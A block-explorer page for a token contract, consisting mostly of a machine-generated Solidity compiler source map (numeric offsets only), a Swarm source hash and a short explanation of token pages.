;;-1:-1:-1;;;3945:67:0;;;;;;;:::i;:::-;21483:9:::1;21479:114;21498:19:::0;;::::1;21479:114;;;21573:8;21539:18;:31;21558:8;;21567:1;21558:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;21539:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;21539:31:0;:42;;-1:-1:-1;;21539:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;21519:3;::::1;::::0;::::1;:::i;:::-;;;;21479:114;;;;21366:234:::0;;;:::o;15316:77::-;3953:6;;-1:-1:-1;;;;;3953:6:0;2665:10;3953:22;3945:67;;;;-1:-1:-1;;;3945:67:0;;;;;;;:::i;:::-;15367:11:::1;:18:::0;;-1:-1:-1;;;;15367:18:0::1;-1:-1:-1::0;;;15367:18:0::1;::::0;;15316:77::o;21243:115::-;3953:6;;-1:-1:-1;;;;;3953:6:0;2665:10;3953:22;3945:67;;;;-1:-1:-1;;;3945:67:0;;;;;;;:::i;:::-;21320:14:::1;:30:::0;21243:115::o;4196:244::-;3953:6;;-1:-1:-1;;;;;3953:6:0;2665:10;3953:22;3945:67;;;;-1:-1:-1;;;3945:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4285:22:0;::::1;4277:73;;;::::0;-1:-1:-1;;;4277:73:0;;6659:2:1;4277:73:0::1;::::0;::::1;6641:21:1::0;6698:2;6678:18;;;6671:30;6737:34;6717:18;;;6710:62;-1:-1:-1;;;6788:18:1;;;6781:36;6834:19;;4277:73:0::1;6457:402:1::0;4277:73:0::1;4387:6;::::0;;4366:38:::1;::::0;-1:-1:-1;;;;;4366:38:0;;::::1;::::0;4387:6;::::1;::::0;4366:38:::1;::::0;::::1;4415:6;:17:::0;;-1:-1:-1;;;;;;4415:17:0::1;-1:-1:-1::0;;;;;4415:17:0;;;::::1;::::0;;;::::1;::::0;;4196:244::o;11860:369::-;-1:-1:-1;;;;;11987:19:0;;11979:68;;;;-1:-1:-1;;;11979:68:0;;7066:2:1;11979:68:0;;;7048:21:1;7105:2;7085:18;;;7078:30;7144:34;7124:18;;;7117:62;-1:-1:-1;;;7195:18:1;;;7188:34;7239:19;;11979:68:0;6864:400:1;11979:68:0;-1:-1:-1;;;;;12066:21:0;;12058:68;;;;-1:-1:-1;;;12058:68:0;;7471:2:1;12058:68:0;;;7453:21:1;7510:2;7490:18;;;7483:30;7549:34;7529:18;;;7522:62;-1:-1:-1;;;7600:18:1;;;7593:32;7642:19;;12058:68:0;7269:398:1;12058:68:0;-1:-1:-1;;;;;12137:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12189:32;;1595:25:1;;;12189:32:0;;1568:18:1;12189:32:0;;;;;;;11860:369;;;:::o;14466:682::-;8547:6;:13;;-1:-1:-1;;;;8547:13:0;-1:-1:-1;;;8547:13:0;;;14600:10:::1;8547:13:::0;14581:30;;;:18:::1;:30;::::0;;;;;8547:13;14581:30:::1;14577:156;;;14632:10:::0;;14628:73:::1;;14663:22;14669:7;14678:6;14663:5;:22::i;:::-;14715:7;;14577:156;14767:16;::::0;;14781:1:::1;14767:16:::0;;;;;::::1;::::0;;14743:21:::1;::::0;14767:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;14767:16:0::1;14743:40;;14812:4;14794;14799:1;14794:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14794:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;14838:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;14838:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;14794:7;;14838:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14828:4;14833:1;14828:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14828:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;14903:15:::1;::::0;14871:62:::1;::::0;14888:4:::1;::::0;14903:15:::1;14921:11:::0;14871:8:::1;:62::i;:::-;14944:15;::::0;:196:::1;::::0;-1:-1:-1;;;14944:196:0;;-1:-1:-1;;;;;14944:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;15025:11;;14944:15:::1;::::0;15067:4;;15094::::1;::::0;15114:15:::1;::::0;14944:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;14566:582;8571:1;-1:-1:-1::0;;8583:6:0;:14;;-1:-1:-1;;;;8583:14:0;;;-1:-1:-1;14466:682:0:o;12237:1810::-;-1:-1:-1;;;;;12359:18:0;;12351:68;;;;-1:-1:-1;;;12351:68:0;;9247:2:1;12351:68:0;;;9229:21:1;9286:2;9266:18;;;9259:30;9325:34;9305:18;;;9298:62;-1:-1:-1;;;9376:18:1;;;9369:35;9421:19;;12351:68:0;9045:401:1;12351:68:0;-1:-1:-1;;;;;12438:16:0;;12430:64;;;;-1:-1:-1;;;12430:64:0;;9653:2:1;12430:64:0;;;9635:21:1;9692:2;9672:18;;;9665:30;9731:34;9711:18;;;9704:62;-1:-1:-1;;;9782:18:1;;;9775:33;9825:19;;12430:64:0;9451:399:1;12430:64:0;12522:1;12513:6;:10;12505:64;;;;-1:-1:-1;;;12505:64:0;;10057:2:1;12505:64:0;;;10039:21:1;10096:2;10076:18;;;10069:30;10135:34;10115:18;;;10108:62;-1:-1:-1;;;10186:18:1;;;10179:39;10235:19;;12505:64:0;9855:405:1;12505:64:0;3864:7;3891:6;-1:-1:-1;;;;;12584:15:0;;;3891:6;;12584:15;;;;:32;;-1:-1:-1;3864:7:0;3891:6;-1:-1:-1;;;;;12603:13:0;;;3891:6;;12603:13;;12584:32;12580:959;;;12638:11;;-1:-1:-1;;;12638:11:0;;;;12633:112;;3864:7;3891:6;-1:-1:-1;;;;;12660:15:0;;;3891:6;;12660:15;12652:91;;;;-1:-1:-1;;;12652:91:0;;10467:2:1;12652:91:0;;;10449:21:1;10506:2;10486:18;;;10479:30;10545:34;10525:18;;;10518:62;10616:33;10596:18;;;10589:61;10667:19;;12652:91:0;10265:427:1;12652:91:0;-1:-1:-1;;;;;12767:28:0;;;;;;:22;:28;;;;;;;;;:58;;-1:-1:-1;;;;;;12799:26:0;;;;;;:22;:26;;;;;;;;12767:58;:84;;;;12839:12;;12829:6;:22;;12767:84;12759:125;;;;-1:-1:-1;;;12759:125:0;;10899:2:1;12759:125:0;;;10881:21:1;10938:2;10918:18;;;10911:30;10977;10957:18;;;10950:58;11025:18;;12759:125:0;10697:352:1;12759:125:0;12908:13;;-1:-1:-1;;;;;12902:19:0;;;12908:13;;12902:19;12899:176;;-1:-1:-1;;;;;12932:28:0;;;;;;:22;:28;;;;;;;;;:58;;-1:-1:-1;;;;;;12964:26:0;;;;;;:22;:26;;;;;;;;12932:58;:101;;;;13019:14;;13010:6;12994:13;13004:2;12994:9;:13::i;:::-;:22;;;;:::i;:::-;:39;12932:101;12924:149;;;;-1:-1:-1;;;12924:149:0;;11386:2:1;12924:149:0;;;11368:21:1;11425:2;11405:18;;;11398:30;11464:34;11444:18;;;11437:62;-1:-1:-1;;;11515:18:1;;;11508:33;11558:19;;12924:149:0;11184:399:1;12924:149:0;13081:6;;-1:-1:-1;;;13081:6:0;;;;13076:47;;13090:31;13104:4;13110:2;13114:6;;;;;;;;;;;13090:13;:31::i;:::-;;13076:47;13137:28;13168:24;13186:4;13168:9;:24::i;:::-;13137:55;;13234:12;;13210:20;:36;13207:78;;-1:-1:-1;13271:12:0;;13207:78;13304:6;;-1:-1:-1;;;13304:6:0;;;;13303:7;:32;;;;-1:-1:-1;13322:13:0;;-1:-1:-1;;;;;13314:21:0;;;13322:13;;13314:21;;13303:32;:47;;;;-1:-1:-1;13339:11:0;;-1:-1:-1;;;13339:11:0;;;;13303:47;:76;;;;-1:-1:-1;;;;;;13355:24:0;;;;;;:18;:24;;;;;;;;13354:25;13303:76;:103;;;;-1:-1:-1;;;;;;13384:22:0;;;;;;:18;:22;;;;;;;;13383:23;13303:103;13299:229;;;13409:33;13421:20;13409:11;:33::i;:::-;13472:21;13494:32;13472:21;13494:12;:32::i;:::-;13408:120;13299:229;12618:921;12580:959;-1:-1:-1;;;;;13584:24:0;;13549:12;13584:24;;;:18;:24;;;;;;13564:4;;13584:24;;;:50;;-1:-1:-1;;;;;;13612:22:0;;;;;;:18;:22;;;;;;;;13584:50;13583:102;;;-1:-1:-1;13648:13:0;;-1:-1:-1;;;;;13640:21:0;;;13648:13;;13640:21;;;;:44;;-1:-1:-1;13671:13:0;;-1:-1:-1;;;;;13665:19:0;;;13671:13;;13665:19;;13640:44;13579:409;;;-1:-1:-1;13698:5:0;13579:409;;;13747:13;;-1:-1:-1;;;;;13739:21:0;;;13747:13;;13739:21;:55;;;;-1:-1:-1;13778:15:0;;-1:-1:-1;;;;;13764:30:0;;;13778:15;;13764:30;;13739:55;13736:112;;;13809:14;;13797:9;:26;13834:12;;13824:7;:22;13736:112;13872:13;;-1:-1:-1;;;;;13866:19:0;;;13872:13;;13866:19;:55;;;;-1:-1:-1;13905:15:0;;-1:-1:-1;;;;;13889:32:0;;;13905:15;;13889:32;;13866:55;13862:115;;;13936:15;;13924:9;:27;13962:13;;13952:7;:23;13862:115;13998:41;14013:4;14019:2;14023:6;14031:7;13998:14;:41::i;4804:224::-;4924:7;4960:12;4952:6;;;;4944:29;;;;-1:-1:-1;;;4944:29:0;;;;;;;;:::i;:::-;-1:-1:-1;4984:9:0;4996:5;5000:1;4996;:5;:::i;:::-;4984:17;4804:224;-1:-1:-1;;;;;4804:224:0:o;15156:152::-;15232:17;;:41;;15214:12;;-1:-1:-1;;;;;15232:17:0;;15262:6;;15214:12;15232:41;15214:12;15232:41;15262:6;15232:17;:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15213:60;;;15292:7;15284:16;;;;;;15202:106;15156:152;:::o;11177:323::-;11272:7;11330;;11319;:18;;11297:110;;;;-1:-1:-1;;;11297:110:0;;12133:2:1;11297:110:0;;;12115:21:1;12172:2;12152:18;;;12145:30;12211:34;12191:18;;;12184:62;-1:-1:-1;;;12262:18:1;;;12255:40;12312:19;;11297:110:0;11931:406:1;11297:110:0;11418:19;11440:10;:8;:10::i;:::-;11418:32;-1:-1:-1;11468:24:0;:7;11418:32;11468:11;:24::i;:::-;11461:31;11177:323;-1:-1:-1;;;11177:323:0:o;16918:494::-;16983:14;:12;:14::i;:::-;17023:15;17053:23;17106;17159:19;17170:7;17159:10;:19::i;:::-;-1:-1:-1;;;;;;;17205:13:0;;;;;;:7;:13;;;;;;17008:170;;-1:-1:-1;17008:170:0;;-1:-1:-1;17008:170:0;;-1:-1:-1;17205:26:0;;:13;-1:-1:-1;17008:170:0;17205:17;:26::i;:::-;-1:-1:-1;;;;;17189:13:0;;;;;;:7;:13;;;;;:42;;;;17285:6;17269:24;;;;:45;;17298:15;17269:28;:45::i;:::-;17258:6;17242:24;;:7;:24;;;:72;17325:15;11791:17;;11779:9;:29;11829:15;;11819:7;:25;11735:117;17325:15;17356:48;;1595:25:1;;;17379:6:0;;-1:-1:-1;;;;;17356:48:0;;;;;1583:2:1;1568:18;17356:48:0;;;;;;;16972:440;;;16918:494;;:::o;17831:535::-;17939:13;;17910:4;;-1:-1:-1;;;;;17939:13:0;;;17931:21;;;;17927:408;;17992:9;17973:29;;;;:18;:29;;;;;;;;17969:163;;;18005:17;:31;;-1:-1:-1;;;;;;18005:31:0;-1:-1:-1;;;;;18005:31:0;;;;;;;;-1:-1:-1;18037:37:0;;;:18;:37;;;;;;;;:44;;-1:-1:-1;;18037:44:0;;;-1:-1:-1;18037:44:0;;;;;;18105:17;;;;;18082:41;;:22;:41;;;;;;:48;;;;;;;;17969:163;-1:-1:-1;;;;;18150:19:0;;18164:4;18150:19;18146:148;;-1:-1:-1;;;;;18176:14:0;;;;;;:10;:14;;;;;;:19;;18172:121;;-1:-1:-1;;;;;18216:14:0;;18233:1;18216:14;;;:10;:14;;;;;;:18;;;:39;;;18254:1;18238:13;18248:2;18238:9;:13::i;:::-;:17;18216:39;18215:76;;18276:15;18215:76;;;-1:-1:-1;;;;;18259:14:0;;;;;;:10;:14;;;;;;18215:76;-1:-1:-1;;;;;18198:14:0;;;;;;:10;:14;;;;;:93;18172:121;17927:408;;;18312:14;:21;;-1:-1:-1;;;;;;18312:21:0;-1:-1:-1;;;;;18312:21:0;;;;;17927:408;-1:-1:-1;18352:6:0;17831:535;-1:-1:-1;;17831:535:0:o;14057:401::-;14119:18;14173:3;14155:15;;14140:12;:30;;;;:::i;:::-;:36;;;;:::i;:::-;14119:57;;14187:18;14256:3;14238:15;;14224:10;14209:12;:25;;;;:::i;:::-;14208:45;;;;:::i;:::-;:51;;;;:::i;:::-;14187:72;-1:-1:-1;14274:14:0;;14270:79;;14305:32;14319:4;14326:10;14305:5;:32::i;:::-;14363:14;;14359:92;;14394:45;7575:6;14425:1;14428:10;14394:16;:45::i;16004:282::-;16160:7;16155:28;;16169:14;:12;:14::i;:::-;16194:44;16212:6;16220:9;16231:6;16194:17;:44::i;:::-;16254:7;16249:29;;16263:15;11791:17;;11779:9;:29;11829:15;;11819:7;:25;11735:117;20016:164;20058:7;20079:15;20096;20115:19;:17;:19::i;:::-;20078:56;;-1:-1:-1;20078:56:0;-1:-1:-1;20152:20:0;20078:56;;20152:11;:20::i;:::-;20145:27;;;;20016:164;:::o;5290:132::-;5348:7;5375:39;5379:1;5382;5375:39;;;;;;;;;;;;;;;;;:3;:39::i;11508:219::-;11555:9;;:14;:30;;;;-1:-1:-1;11573:7:0;;:12;11555:30;11551:43;;;11508:219::o;11551:43::-;11626:9;;;11606:17;:29;11664:7;;;11646:15;:25;-1:-1:-1;11684:13:0;;;;11708:11;11508:219::o;18374:615::-;18474:7;18496;18518;18540;18562;18584;18620:23;18645:12;18659:13;18689:40;18701:7;18710:9;;18721:7;;18689:11;:40::i;:::-;18619:110;;;;;;18740:19;18762:10;:8;:10::i;:::-;18740:32;;18784:15;18801:23;18826:12;18855:46;18867:7;18876:4;18882:5;18889:11;18855;:46::i;:::-;18783:118;;-1:-1:-1;18783:118:0;-1:-1:-1;18783:118:0;-1:-1:-1;18952:15:0;;-1:-1:-1;18969:4:0;;-1:-1:-1;18975:5:0;;-1:-1:-1;;;;;18374:615:0;;;;;;;:::o;4660:136::-;4718:7;4745:43;4749:1;4752;4745:43;;;;;;;;;;;;;;;;;:3;:43::i;4473:179::-;4531:7;;4563:5;4567:1;4563;:5;:::i;:::-;4551:17;;4592:1;4587;:6;;4579:46;;;;-1:-1:-1;;;4579:46:0;;12544:2:1;4579:46:0;;;12526:21:1;12583:2;12563:18;;;12556:30;12622:29;12602:18;;;12595:57;12669:18;;4579:46:0;12342:351:1;16294:610:0;16441:15;16471:23;16509:12;16536:23;16574:12;16601:13;16628:19;16639:7;16628:10;:19::i;:::-;-1:-1:-1;;;;;16676:15:0;;;;;;:7;:15;;;;;;16426:221;;-1:-1:-1;16426:221:0;;-1:-1:-1;16426:221:0;;-1:-1:-1;16426:221:0;-1:-1:-1;16426:221:0;-1:-1:-1;16426:221:0;-1:-1:-1;16676:28:0;;16426:221;16676:19;:28::i;:::-;-1:-1:-1;;;;;16658:15:0;;;;;;;:7;:15;;;;;;:46;;;;16736:18;;;;;;;:39;;16759:15;16736:22;:39::i;:::-;-1:-1:-1;;;;;16715:18:0;;;;;;:7;:18;;;;;:60;16786:16;16796:5;16786:9;:16::i;:::-;16813:23;16825:4;16831;16813:11;:23::i;:::-;16869:9;-1:-1:-1;;;;;16852:44:0;16861:6;-1:-1:-1;;;;;16852:44:0;;16880:15;16852:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;16852:44:0;;;;;;;;16415:489;;;;;;16294:610;;;:::o;20188:257::-;20286:7;;20239;;;;7160:23;20354:20;20286:7;7160:23;20354:11;:20::i;:::-;20344:7;:30;20340:61;;;-1:-1:-1;;20384:7:0;;;7160:23;;-1:-1:-1;20188:257:0;-1:-1:-1;20188:257:0:o;20340:61::-;20420:7;;20429;;-1:-1:-1;20188:257:0;-1:-1:-1;20188:257:0:o;5430:223::-;5550:7;5585:12;5578:5;5570:28;;;;-1:-1:-1;;;5570:28:0;;;;;;;;:::i;:::-;-1:-1:-1;5609:9:0;5621:5;5625:1;5621;:5;:::i;18997:469::-;19166:7;;;;19260:30;19286:3;19260:21;:7;19272:8;19260:11;:21::i;:::-;:25;;:30::i;:::-;19245:45;-1:-1:-1;19301:13:0;19317:28;19341:3;19317:19;:7;19329:6;19317:11;:19::i;:28::-;19301:44;-1:-1:-1;19356:23:0;19382:28;19301:44;19382:17;:7;19394:4;19382:11;:17::i;:::-;:21;;:28::i;:::-;19356:54;19446:4;;-1:-1:-1;19452:5:0;;-1:-1:-1;18997:469:0;;-1:-1:-1;;;;;18997:469:0:o;19474:534::-;19668:7;;;;19765:24;:7;19777:11;19765;:24::i;:::-;19747:42;-1:-1:-1;19800:12:0;19815:21;:4;19824:11;19815:8;:21::i;:::-;19800:36;-1:-1:-1;19847:13:0;19863:22;:5;19873:11;19863:9;:22::i;:::-;19847:38;-1:-1:-1;19896:23:0;19922:28;19847:38;19922:17;:7;19934:4;19922:11;:17::i;:28::-;19969:7;;;;-1:-1:-1;19995:4:0;;-1:-1:-1;19474:534:0;;-1:-1:-1;;;;;;;19474:534:0:o;17420:211::-;17473:19;17495:10;:8;:10::i;:::-;17473:32;-1:-1:-1;17516:13:0;17532:22;:5;17473:32;17532:9;:22::i;:::-;17606:4;17590:22;;;;:7;:22;;;;;;17516:38;;-1:-1:-1;17590:33:0;;17516:38;17590:26;:33::i;:::-;17581:4;17565:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;17420:211:0:o;17639:147::-;17717:7;;:17;;17729:4;17717:11;:17::i;:::-;17707:7;:27;17758:10;;:20;;17773:4;17758:14;:20::i;:::-;17745:10;:33;-1:-1:-1;;17639:147:0:o;5036:246::-;5094:7;5118:1;5123;5118:6;5114:47;;-1:-1:-1;5148:1:0;5141:8;;5114:47;5171:9;5183:5;5187:1;5183;:5;:::i;:::-;5171:17;-1:-1:-1;5216:1:0;5207:5;5211:1;5171:17;5207:5;:::i;:::-;:10;5199:56;;;;-1:-1:-1;;;5199:56:0;;12900:2:1;5199:56:0;;;12882:21:1;12939:2;12919:18;;;12912:30;12978:34;12958:18;;;12951:62;-1:-1:-1;;;13029:18:1;;;13022:31;13070:19;;5199:56:0;12698:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2092:160::-;2157:20;;2213:13;;2206:21;2196:32;;2186:60;;2242:1;2239;2232:12;2186:60;2092:160;;;:::o;2257:315::-;2322:6;2330;2383:2;2371:9;2362:7;2358:23;2354:32;2351:52;;;2399:1;2396;2389:12;2351:52;2438:9;2425:23;2457:31;2482:5;2457:31;:::i;:::-;2507:5;-1:-1:-1;2531:35:1;2562:2;2547:18;;2531:35;:::i;:::-;2521:45;;2257:315;;;;;:::o;3198:247::-;3257:6;3310:2;3298:9;3289:7;3285:23;3281:32;3278:52;;;3326:1;3323;3316:12;3278:52;3365:9;3352:23;3384:31;3409:5;3384:31;:::i;3450:180::-;3506:6;3559:2;3547:9;3538:7;3534:23;3530:32;3527:52;;;3575:1;3572;3565:12;3527:52;3598:26;3614:9;3598:26;:::i;3635:180::-;3694:6;3747:2;3735:9;3726:7;3722:23;3718:32;3715:52;;;3763:1;3760;3753:12;3715:52;-1:-1:-1;3786:23:1;;3635:180;-1:-1:-1;3635:180:1:o;3820:385::-;3906:6;3914;3922;3930;3983:3;3971:9;3962:7;3958:23;3954:33;3951:53;;;4000:1;3997;3990:12;3951:53;-1:-1:-1;;4023:23:1;;;4093:2;4078:18;;4065:32;;-1:-1:-1;4144:2:1;4129:18;;4116:32;;4195:2;4180:18;4167:32;;-1:-1:-1;3820:385:1;-1:-1:-1;3820:385:1:o;4210:689::-;4302:6;4310;4318;4371:2;4359:9;4350:7;4346:23;4342:32;4339:52;;;4387:1;4384;4377:12;4339:52;4427:9;4414:23;4456:18;4497:2;4489:6;4486:14;4483:34;;;4513:1;4510;4503:12;4483:34;4551:6;4540:9;4536:22;4526:32;;4596:7;4589:4;4585:2;4581:13;4577:27;4567:55;;4618:1;4615;4608:12;4567:55;4658:2;4645:16;4684:2;4676:6;4673:14;4670:34;;;4700:1;4697;4690:12;4670:34;4755:7;4748:4;4738:6;4735:1;4731:14;4727:2;4723:23;4719:34;4716:47;4713:67;;;4776:1;4773;4766:12;4713:67;4807:4;4799:13;;;;-1:-1:-1;4831:6:1;-1:-1:-1;4856:37:1;;4872:20;;;-1:-1:-1;4856:37:1;:::i;:::-;4846:47;;4210:689;;;;;:::o;4904:388::-;4972:6;4980;5033:2;5021:9;5012:7;5008:23;5004:32;5001:52;;;5049:1;5046;5039:12;5001:52;5088:9;5075:23;5107:31;5132:5;5107:31;:::i;:::-;5157:5;-1:-1:-1;5214:2:1;5199:18;;5186:32;5227:33;5186:32;5227:33;:::i;:::-;5279:7;5269:17;;;4904:388;;;;;:::o;5297:127::-;5358:10;5353:3;5349:20;5346:1;5339:31;5389:4;5386:1;5379:15;5413:4;5410:1;5403:15;5429:168;5502:9;;;5533;;5550:15;;;5544:22;;5530:37;5520:71;;5571:18;;:::i;5602:217::-;5642:1;5668;5658:132;;5712:10;5707:3;5703:20;5700:1;5693:31;5747:4;5744:1;5737:15;5775:4;5772:1;5765:15;5658:132;-1:-1:-1;5804:9:1;;5602:217::o;5824:356::-;6026:2;6008:21;;;6045:18;;;6038:30;6104:34;6099:2;6084:18;;6077:62;6171:2;6156:18;;5824:356::o;6185:127::-;6246:10;6241:3;6237:20;6234:1;6227:31;6277:4;6274:1;6267:15;6301:4;6298:1;6291:15;6317:135;6356:3;6377:17;;;6374:43;;6397:18;;:::i;:::-;-1:-1:-1;6444:1:1;6433:13;;6317:135::o;7804:251::-;7874:6;7927:2;7915:9;7906:7;7902:23;7898:32;7895:52;;;7943:1;7940;7933:12;7895:52;7975:9;7969:16;7994:31;8019:5;7994:31;:::i;8060:980::-;8322:4;8370:3;8359:9;8355:19;8401:6;8390:9;8383:25;8427:2;8465:6;8460:2;8449:9;8445:18;8438:34;8508:3;8503:2;8492:9;8488:18;8481:31;8532:6;8567;8561:13;8598:6;8590;8583:22;8636:3;8625:9;8621:19;8614:26;;8675:2;8667:6;8663:15;8649:29;;8696:1;8706:195;8720:6;8717:1;8714:13;8706:195;;;8785:13;;-1:-1:-1;;;;;8781:39:1;8769:52;;8876:15;;;;8841:12;;;;8817:1;8735:9;8706:195;;;-1:-1:-1;;;;;;;8957:32:1;;;;8952:2;8937:18;;8930:60;-1:-1:-1;;;9021:3:1;9006:19;8999:35;8918:3;8060:980;-1:-1:-1;;;8060:980:1:o;11054:125::-;11119:9;;;11140:10;;;11137:36;;;11153:18;;:::i;11588:128::-;11655:9;;;11676:11;;;11673:37;;;11690:18;;:::i
Swarm Source
ipfs://ceb1c235d2a34e1cfa5bc87488baf479d3bc03248f64277737b50af72ecb8d40
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.